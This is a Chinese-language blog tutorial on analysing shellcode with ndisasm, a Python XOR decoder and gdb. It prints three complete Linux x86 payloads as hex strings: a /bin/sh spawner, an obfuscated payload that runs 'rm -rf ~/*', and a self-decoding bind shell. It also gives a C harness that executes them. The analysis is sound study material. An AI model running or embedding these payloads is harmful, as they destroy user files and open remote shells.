Shellcode的分析调试技巧

转载请注明出处:http://blog.csdn.net/wangxiaolong_china

 

面,我们将分析几个已有的shellcode的功能,通过分析,了解shellcode分析的技巧。

第一个shellcode代码如下:

 

static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";


 

使用ndisasm反汇编结果如下:

root@linux:~/pentest# echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58" | ndisasm -u -
00000000  EB17              jmp short 0x19
00000002  5E                 pop esi
00000003  897608           mov [esi+0x8],esi
00000006  31C0              xor eax,eax
00000008  884607           mov [esi+0x7],al
0000000B  89460C          mov [esi+0xc],eax
0000000E  B00B             mov al,0xb
00000010  89F3              mov ebx,esi
00000012  8D4E08          lea ecx,[esi+0x8]
00000015  31D2              xor edx,edx
00000017  CD80              int 0x80
00000019  E8E4FFFFFF    call dword 0x2
0000001E  2F                  das
0000001F  62696E            bound ebp,[ecx+0x6e]
00000022 2F                   das
00000023  7368               jnc 0x8d
00000025  58                  pop eax
root@linux:~/pentest#


 

可以看出,这是一个执行“/bin/sh”的shellcode。

第二个shellcode代码如下:

char shellcode2[] =
"\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
"\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
"\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
"\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
"\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
"\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
"\x7b\x35";


 

下面使用ndisasm反汇编,结果如下:

root@linux:~/pentest# echo -ne 
"\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7\x7b\x35" | ndisasm -u -
00000000  EB10              jmp short 0x12
00000002  5E                pop esi
00000003  31C9              xor ecx,ecx
00000005 B14B              mov cl,0x4b
00000007  B0FF              mov al,0xff
00000009  3006              xor [esi],al
0000000B  FEC8              dec al
0000000D  46                inc esi
0000000E  E2F9              loop 0x9
00000010  EB05              jmp short 0x17
00000012  E8EBFFFFFF        call dword 0x2
00000017 17                pop ss
00000018  DB                db 0xdb
00000019  FD                std
0000001A  FC                cld
0000001B  FB                sti
0000001C  D59B              aad 0x9b
0000001E  91                xchg eax,ecx
0000001F  99                cdq
00000020 D9869CF38199      fld dword [esi-0x667e0c64]
00000026  F0C28DED          lock ret 0xed8d
0000002A  9E                sahf
0000002B  86CA              xchg cl,dl
0000002D  C49A81C69BCB      les ebx,[edx-0x3464397f]
00000033  C9                leave
00000034  C2D3DE            ret 0xded3
00000037  F0BAB8AAF4B4      lock mov edx,0xb4f4aab8
0000003D  AC                lodsb
0000003E B4BB              mov ah,0xbb
00000040  D6                salc
00000041  88E5              mov ch,ah
00000043  13825C8DC19D      adc eax,[edx-0x623e72a4]
00000049  40                inc eax
0000004A  91                xchg eax,ecx
0000004B  C0994495CF954C    rcr byte [ecx-0x6a306abc],0x4c
00000052  2F                das
00000053  4A                dec edx
00000054  23F0              and esi,eax
00000056  120F              adc cl,[edi]
00000058  B570              mov ch,0x70
0000005A  3C32              cmp al,0x32
0000005C  7988              jns 0xffffffe6
0000005E  78F7              js 0x57
00000060  7B35              jpo 0x97
root@linux:~/pentest#


 

接下来,我们将使用一个python脚本和hexdump来分析这个shellcode。

root@linux:~/pentest# cat decode.py 
#!/usr/bin/env python
sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"  + \
      "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \
      "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \
      "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb" + \
      "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \
      "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \
      "\x7b\x35"
print "".join([chr((ord(x)^(0xff-i))) for i,x in enumerate(sc[0x17:])])
root@linux:~/pentest# ./decode.py | hexdump -C
00000000  e8 25 00 00 00 2f 62 69  6e 2f 73 68 00 73 68 00   |.%.../bin/sh.sh.|
00000010  2d 63 00 72 6d 20 2d 72  66 20 7e 2f 2a 20 32 3e   |-c.rm -rf ~/* 2>|
00000020  2f 64 65 76 2f 6e 75 6c  6c 00 5d 31 c0 50 8d 5d   |/dev/null.]1.P.]|
00000030  0e 53 8d 5d 0b 53 8d 5d  08 53 89 eb 89 e1 31 d2  |.S.].S.].S....1.|
00000040  b0 0b cd 80 89 c3 31 c0  40 cd 80 0a                  |......1.@...|
0000004c
root@linux:~/pentest#


 

可以看到“/bin/sh”“sh”“rm –rf ~/* 2>/dev/null”几条指令,接下来我们使用ndisasm分析:

root@linux:~/pentest# ./decode.py | ndisasm -u -
00000000  E825000000        call dword 0x2a
00000005  2F                das
00000006  62696E            bound ebp,[ecx+0x6e]
00000009  2F                das
0000000A  7368              jnc 0x74
0000000C  007368            add [ebx+0x68],dh
0000000F  002D6300726D      add [dword 0x6d720063],ch
00000015  202D7266207E      and [dword 0x7e206672],ch
0000001B  2F                das
0000001C  2A20              sub ah,[eax]
0000001E  323E              xor bh,[esi]
00000020  2F                das
00000021  6465762F          gs jna 0x54
00000025  6E                outsb
00000026  756C              jnz 0x94
00000028  6C                insb
00000029 005D31            add [ebp+0x31],bl
0000002C  C0508D5D          rcl byte [eax-0x73],0x5d
00000030  0E                push cs
00000031  53                push ebx
00000032  8D5D0B            lea ebx,[ebp+0xb]
00000035  53                push ebx
00000036  8D5D08            lea ebx,[ebp+0x8]
00000039  53                push ebx
0000003A 89EB              mov ebx,ebp
0000003C  89E1              mov ecx,esp
0000003E  31D2              xor edx,edx
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80
00000044  89C3              mov ebx,eax
00000046  31C0              xor eax,eax
00000048  40                inc eax
00000049 CD80              int 0x80
0000004B  0A                db 0x0a
root@linux:~/pentest#


 

开始几条指令可以改写为:

E825000000 call 0x2a
2F62696E2F736800 db "/bin/sh"
736800 db "sh"
2D6300 db "-c"
726d202D7266207E2F2A20323E2F6465762F6E756C6C00 db "rm -rf ~/* 2>/dev/null"
5D pop ebp


 

第一条指令为“call 0x2a”,接下来分析一下该指令调用的函数,即只保留0x2a(42)开始的指令的操作码。

root@linux:~/pentest# ./decode.py | cut -c 43- | ndisasm -u -
00000000  5D                pop ebp
00000001  31C0              xor eax,eax
00000003  50                push eax
00000004  8D5D0E            lea ebx,[ebp+0xe]
00000007  53                push ebx
00000008  8D5D0B            lea ebx,[ebp+0xb]
0000000B  53                push ebx
0000000C  8D5D08            lea ebx,[ebp+0x8]
0000000F  53                push ebx
00000010  89EB              mov ebx,ebp
00000012  89E1              mov ecx,esp
00000014  31D2              xor edx,edx
00000016  B00B              mov al,0xb
00000018  CD80              int 0x80
0000001A  89C3              mov ebx,eax
0000001C 31C0              xor eax,eax
0000001E  40                inc eax
0000001F  CD80              int 0x80
00000021  0A                db 0x0a
root@linux:~/pentest#


 

可以看到这是一个execve系统调用,它使用数组“sh”“-c”“rm –rf ~/* 2>/dev/null”作为第二个参数。

这样,该shellcode的功能已经一目了然了。

第三个shellcode代码如下:

char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".
           "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".
           "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".
           "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".
           "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".
           "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".
           "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".
           "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".
           "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".
           "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".
	       "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".
           "\xba\x01\xc7\x8a";


 

首先,使用perl输出这个shellcode,然后用ndisasm分析这个shellcode。

root@linux:~/pentest# cat shellcode.pl 
#!/usr/bin/perl

$shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff".
           "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff".
           "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b".
           "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83".
           "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a".
           "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58".
           "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58".
           "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9".
           "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a".
           "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62".
	       "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb".
           "\xba\x01\xc7\x8a";

open FILE,"> shellcode.bin";
print FILE $shellcode;

close FILE;
root@linux:~/pentest# ./shellcode.pl
root@linux:~/pentest# ndisasm -b32 shellcode.bin
00000000  EB11              jmp short 0x13
00000002  5E                pop esi
00000003  31C9              xor ecx,ecx
00000005  B165              mov cl,0x65
00000007  80740EFF0A        xor byte [esi+ecx-0x1],0xa
0000000C  80E901            sub cl,0x1
0000000F  75F6              jnz 0x7
00000011  EB05              jmp short 0x18
00000013  E8EAFFFFFF        call dword 0x2
00000018  3BCA              cmp ecx,edx
0000001A  3BD1              cmp edx,ecx
0000001C  3BD8              cmp ebx,eax
0000001E  5A                pop edx
0000001F  60                pushad
00000020  0B6008            or esp,[eax+0x8]
00000023  83EBF4            sub ebx,byte -0xc
00000026  C9                leave
00000027  BA6CC78A83        mov edx,0x838ac76c
0000002C  CC                int3
0000002D  58                pop eax
0000002E  62B108107083      bound esi,[ecx-0x7c8feff8]
00000034  EB60              jmp short 0x96
00000036  1A5B5C            sbb bl,[ebx+0x5c]
00000039  83EBF4            sub ebx,byte -0xc
0000003C  C9                leave
0000003D  BA6CC78A58        mov edx,0x588ac76c
00000042  5C                pop esp
00000043  83EBB9            sub ebx,byte -0x47
00000046  0E                push cs
00000047  BA6CC78A58        mov edx,0x588ac76c
0000004C  58                pop eax
0000004D  5C                pop esp
0000004E  83EBF4            sub ebx,byte -0xc
00000051  C9                leave
00000052  BA6CC78A83        mov edx,0x838ac76c
00000057  C9                leave
00000058  3BC3              cmp eax,ebx
0000005A  BA35C78A4B        mov edx,0x4b8ac735
0000005F  BA35C78A4B        mov edx,0x4b8ac735
00000064  BA35C78A58        mov edx,0x588ac735
00000069  622525796262      bound esp,[dword 0x62627925]
0000006F  2568636483        and eax,0x83646368
00000074  E9585983EB        jmp dword 0xeb8359d1
00000079  BA                db 0xba
0000007A  01C7              add edi,eax
0000007C  8A                db 0x8a
root@linux:~/pentest#


 

分析一段shellcode的功能,核心的是什么呢?我觉得最核心的是这段shellcode实现的系统调用,因为一旦知道shellcode实现的系统调用,那么整段shellcode的功能便已了然。要知道shellcode实现的系统调用,关键是找到系统调用号,即int 0x80执行之前,eax寄存器中存放的数字。

上面的代码反汇编中,并没有找到int 0x80的踪影。原因在哪里呢?仔细分析这段代码,前几行代码已经给了我们答案:

00000000  EB11              jmp short 0x13
00000002  5E                pop esi
00000003  31C9              xor ecx,ecx
00000005  B165              mov cl,0x65
00000007  80740EFF0A        xor byte [esi+ecx-0x1],0xa
0000000C  80E901            sub cl,0x1
0000000F  75F6              jnz 0x7
00000011  EB05              jmp short 0x18
00000013  E8EAFFFFFF        call dword 0x2
00000018  3BCA              cmp ecx,edx


 

这是一段自修改shellcode。运行后,它调用“xor byte [esi+ecx-0x1],0xa”这条指令,将0x00000018及以后的0x65个字节组成的指令进行译码,生成我们要用到的特定功能的shellcode。

接下来,我们要想知道这段shellcode的功能,就必须要动态的调试这段shellcode。于是我们构造了下面的C调用程序,编译,并用gdb动态的调试这段shellcode。

root@linux:~/pentest# cat shellcode.c
#include <stdio.h>
 
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff"
           "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff"
           "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b"
           "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83"
           "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a"
           "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58"
           "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58"
           "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9"
           "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a"
           "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62"
           "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb"
           "\xba\x01\xc7\x8a";
 
         
int main(void)
{
    (*(void(*)()) shellcode)();
}
root@linux:~/pentest# 

root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o shellcode shellcode.c
root@linux:~/pentest# gdb shellcode
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/shellcode...done.
(gdb) disass main
Dump of assembler code for function main:
   0x08048394 <+0>:	push   %ebp
   0x08048395 <+1>:	mov    %esp,%ebp
   0x08048397 <+3>:	and    {1}xfffffff0,%esp
   0x0804839a <+6>:	mov    {1}x804a040,%eax
   0x0804839f <+11>:	call   *%eax
   0x080483a1 <+13>:	mov    %ebp,%esp
   0x080483a3 <+15>:	pop    %ebp
   0x080483a4 <+16>:	ret    
End of assembler dump.
(gdb) disass 0x804a040
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:	jmp    0x804a053 <shellcode+19>
   0x0804a042 <+2>:	pop    %esi
   0x0804a043 <+3>:	xor    %ecx,%ecx
   0x0804a045 <+5>:	mov    {1}x65,%cl
   0x0804a047 <+7>:	xorb   {1}xa,-0x1(%esi,%ecx,1)
   0x0804a04c <+12>:	sub    {1}x1,%cl
   0x0804a04f <+15>:	jne    0x804a047 <shellcode+7>
   0x0804a051 <+17>:	jmp    0x804a058 <shellcode+24>
   0x0804a053 <+19>:	call   0x804a042 <shellcode+2>
   0x0804a058 <+24>:	cmp    %edx,%ecx
   0x0804a05a <+26>:	cmp    %ecx,%edx
   0x0804a05c <+28>:	cmp    %eax,%ebx
   0x0804a05e <+30>:	pop    %edx
   0x0804a05f <+31>:	pusha  
   0x0804a060 <+32>:	or     0x8(%eax),%esp
   0x0804a063 <+35>:	sub    {1}xfffffff4,%ebx
   0x0804a066 <+38>:	leave  
   0x0804a067 <+39>:	mov    {1}x838ac76c,%edx
   0x0804a06c <+44>:	int3   
   0x0804a06d <+45>:	pop    %eax
   0x0804a06e <+46>:	bound  %esi,-0x7c8feff8(%ecx)
   0x0804a074 <+52>:	jmp    0x804a0d6
---Type <return> to continue, or q <return> to quit---
   0x0804a076 <+54>:	sbb    0x5c(%ebx),%bl
   0x0804a079 <+57>:	sub    {1}xfffffff4,%ebx
   0x0804a07c <+60>:	leave  
   0x0804a07d <+61>:	mov    {1}x588ac76c,%edx
   0x0804a082 <+66>:	pop    %esp
   0x0804a083 <+67>:	sub    {1}xffffffb9,%ebx
   0x0804a086 <+70>:	push   %cs
   0x0804a087 <+71>:	mov    {1}x588ac76c,%edx
   0x0804a08c <+76>:	pop    %eax
   0x0804a08d <+77>:	pop    %esp
   0x0804a08e <+78>:	sub    {1}xfffffff4,%ebx
   0x0804a091 <+81>:	leave  
   0x0804a092 <+82>:	mov    {1}x838ac76c,%edx
   0x0804a097 <+87>:	leave  
   0x0804a098 <+88>:	cmp    %ebx,%eax
   0x0804a09a <+90>:	mov    {1}x4b8ac735,%edx
   0x0804a09f <+95>:	mov    {1}x4b8ac735,%edx
   0x0804a0a4 <+100>:	mov    {1}x588ac735,%edx
   0x0804a0a9 <+105>:	bound  %esp,0x62627925
   0x0804a0af <+111>:	and    {1}x83646368,%eax
   0x0804a0b4 <+116>:	jmp    0xf387fa11
   0x0804a0b9 <+121>:	mov    {1}x8ac701,%edx
End of assembler dump.


 

设置断点,并调试这段代码:

(gdb) disass main
Dump of assembler code for function main:
   0x08048394 <+0>:	push   %ebp
   0x08048395 <+1>:	mov    %esp,%ebp
   0x08048397 <+3>:	and    {1}xfffffff0,%esp
   0x0804839a <+6>:	mov    {1}x804a040,%eax
   0x0804839f <+11>:	call   *%eax
   0x080483a1 <+13>:	mov    %ebp,%esp
   0x080483a3 <+15>:	pop    %ebp
   0x080483a4 <+16>:	ret    
End of assembler dump.
(gdb) b *main+16
Breakpoint 2 at 0x80483a4: file shellcode.c, line 20.
(gdb) r
Starting program: /root/pentest/shellcode 
^C
Program received signal SIGINT, Interrupt.
0x0804a096 in shellcode ()
(gdb) i r eip
eip            0x804a096	0x804a096 <shellcode+86>
(gdb) disass 0x804a096
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:	jmp    0x804a053 <shellcode+19>
   0x0804a042 <+2>:	pop    %esi
   0x0804a043 <+3>:	xor    %ecx,%ecx
   0x0804a045 <+5>:	mov    {1}x65,%cl
   0x0804a047 <+7>:	xorb   {1}xa,-0x1(%esi,%ecx,1)
   0x0804a04c <+12>:	sub    {1}x1,%cl
   0x0804a04f <+15>:	jne    0x804a047 <shellcode+7>
   0x0804a051 <+17>:	jmp    0x804a058 <shellcode+24>
   0x0804a053 <+19>:	call   0x804a042 <shellcode+2>
   0x0804a058 <+24>:	xor    %eax,%eax
   0x0804a05a <+26>:	xor    %ebx,%ebx
   0x0804a05c <+28>:	xor    %edx,%edx
   0x0804a05e <+30>:	push   %eax
   0x0804a05f <+31>:	push   {1}x1
   0x0804a061 <+33>:	push   {1}x2
   0x0804a063 <+35>:	mov    %esp,%ecx
   0x0804a065 <+37>:	inc    %bl
   0x0804a067 <+39>:	mov    {1}x66,%al
   0x0804a069 <+41>:	int    {1}x80
   0x0804a06b <+43>:	mov    %eax,%esi
   0x0804a06d <+45>:	push   %edx
   0x0804a06e <+46>:	push   {1}x7a1a02bb
---Type <return> to continue, or q <return> to quit---
   0x0804a073 <+51>:	mov    %esp,%ecx
   0x0804a075 <+53>:	push   {1}x10
   0x0804a077 <+55>:	push   %ecx
   0x0804a078 <+56>:	push   %esi
   0x0804a079 <+57>:	mov    %esp,%ecx
   0x0804a07b <+59>:	inc    %bl
   0x0804a07d <+61>:	mov    {1}x66,%al
   0x0804a07f <+63>:	int    {1}x80
   0x0804a081 <+65>:	push   %edx
   0x0804a082 <+66>:	push   %esi
   0x0804a083 <+67>:	mov    %esp,%ecx
   0x0804a085 <+69>:	mov    {1}x4,%bl
   0x0804a087 <+71>:	mov    {1}x66,%al
   0x0804a089 <+73>:	int    {1}x80
   0x0804a08b <+75>:	push   %edx
   0x0804a08c <+76>:	push   %edx
   0x0804a08d <+77>:	push   %esi
   0x0804a08e <+78>:	mov    %esp,%ecx
   0x0804a090 <+80>:	inc    %bl
   0x0804a092 <+82>:	mov    {1}x66,%al
   0x0804a094 <+84>:	int    {1}x80
=> 0x0804a096 <+86>:	mov    %eax,%ebx
   0x0804a098 <+88>:	xor    %ecx,%ecx
---Type <return> to continue, or q <return> to quit---
   0x0804a09a <+90>:	mov    {1}x3f,%al
   0x0804a09c <+92>:	int    {1}x80
   0x0804a09e <+94>:	inc    %ecx
   0x0804a09f <+95>:	mov    {1}x3f,%al
   0x0804a0a1 <+97>:	int    {1}x80
   0x0804a0a3 <+99>:	inc    %ecx
   0x0804a0a4 <+100>:	mov    {1}x3f,%al
   0x0804a0a6 <+102>:	int    {1}x80
   0x0804a0a8 <+104>:	push   %edx
   0x0804a0a9 <+105>:	push   {1}x68732f2f
   0x0804a0ae <+110>:	push   {1}x6e69622f
   0x0804a0b3 <+115>:	mov    %esp,%ebx
   0x0804a0b5 <+117>:	push   %edx
   0x0804a0b6 <+118>:	push   %ebx
   0x0804a0b7 <+119>:	mov    %esp,%ecx
   0x0804a0b9 <+121>:	mov    {1}xb,%al
   0x0804a0bb <+123>:	int    {1}x80
   0x0804a0bd <+125>:	add    %al,(%eax)
End of assembler dump.
(gdb)


 

到这里,我们想要的int 0x80出现了。

系统调用号$0x66对应的是__NR_socketcall,看来是个socket函数。具体的要和功能号相关联查了下应该是socket->bind->listen->accept->dup2->execve。恩,很明显的一个bindshell!

 

你可能感兴趣的:(c,linux,function,汇编,byte,X86)